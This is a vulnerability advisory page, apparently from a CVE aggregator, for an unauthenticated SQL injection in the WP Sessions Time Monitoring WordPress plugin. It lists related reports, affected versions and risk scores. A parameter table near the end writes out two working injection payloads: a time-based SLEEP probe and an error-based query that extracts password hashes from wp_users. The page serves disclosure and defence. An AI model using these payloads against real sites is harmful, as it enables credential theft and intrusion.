CVE-2023-5203

🗓️ 26 Dec 2023 18:33:07Reported by WPScanType

cve🔗 web.nvd.nist.gov👁 44 Views🌐 WEB

The WP Sessions Time Monitoring Full Automatic WordPress plugin before 1.0.9 is vulnerable to SQL injection

Reporter	Title	Published	Views	Family All 11
BDU FSTEC	The vulnerability of the WP Sessions Time Monitoring plugin in the fully automatic WordPress content management system allows attackers to expose protected information.	9 Feb 202400:00	–	bdu_fstec
Circl	CVE-2023-5203	26 Dec 202320:26	–	circl
CNNVD	WordPress plugin WP Sessions Time Monitoring Full Automatic Security Vulnerability	26 Dec 202300:00	–	cnnvd
Cvelist	CVE-2023-5203 WP Sessions Time Monitoring Full Automatic < 1.0.9 - Unauthenticated SQL injection	26 Dec 202318:33	–	cvelist
Nuclei	WP Sessions Time Monitoring Full Automatic <= 1.0.8 - SQL Injection	27 Jun 202603:01	–	nuclei
NVD	CVE-2023-5203	26 Dec 202319:15	–	nvd
Prion	Sql injection	26 Dec 202319:15	–	prion
Positive Technologies	PT-2023-8527	11 Sep 202300:00	–	ptsecurity
Vulnrichment	CVE-2023-5203 WP Sessions Time Monitoring Full Automatic < 1.0.9 - Unauthenticated SQL injection	26 Dec 202318:33	–	vulnrichment
wpexploit	WP Sessions Time Monitoring Full Automatic < 1.0.9 - Unauthenticated SQL injection	30 Nov 202300:00	–	wpexploit

NVD

Vulners

Node

swit wp_sessions_time_monitoring_full_automaticRange<1.0.9wordpress

[
  {
    "vendor": "Unknown",
    "product": "WP Sessions Time Monitoring Full Automatic",
    "versions": [
      {
        "status": "affected",
        "versionType": "semver",
        "version": "0",
        "lessThan": "1.0.9"
      }
    ],
    "defaultStatus": "unaffected",
    "collectionURL": "https://wordpress.org/plugins"
  }
]

Source	Link
wpscan	www.wpscan.com/vulnerability/7f4f505b-2667-4e0f-9841-9c1cd0831932

Parameter	Position	Path	Description	CWE
test	query param	/?test=1'%20AND%20(SELECT%208559%20FROM%20(SELECT(SLEEP(5)))WBVZ)%20--	Blind time-based SQL injection through unsanitized URL/query parameter in WP Sessions Time Monitoring plugin	CWE-89
test	query param	/?test=1%27%20AND%20GTID_SUBSET%28CONCAT%280x686173683a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28user_pass%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C190%29%20FROM%20%60wordpress%60.wp_users%20ORDER%20BY%20ID%20LIMIT%201%2C1%29%29%2C3124%29--%20a	Error/union-based SQL injection via unsanitized query parameter in WP Sessions Time Monitoring plugin	CWE-89

17 Jun 2026 06:48Current

7.9High risk

Vulners AI Score7.9

CVSS 3.17.5

EPSS0.02221

SSVC

CWE-89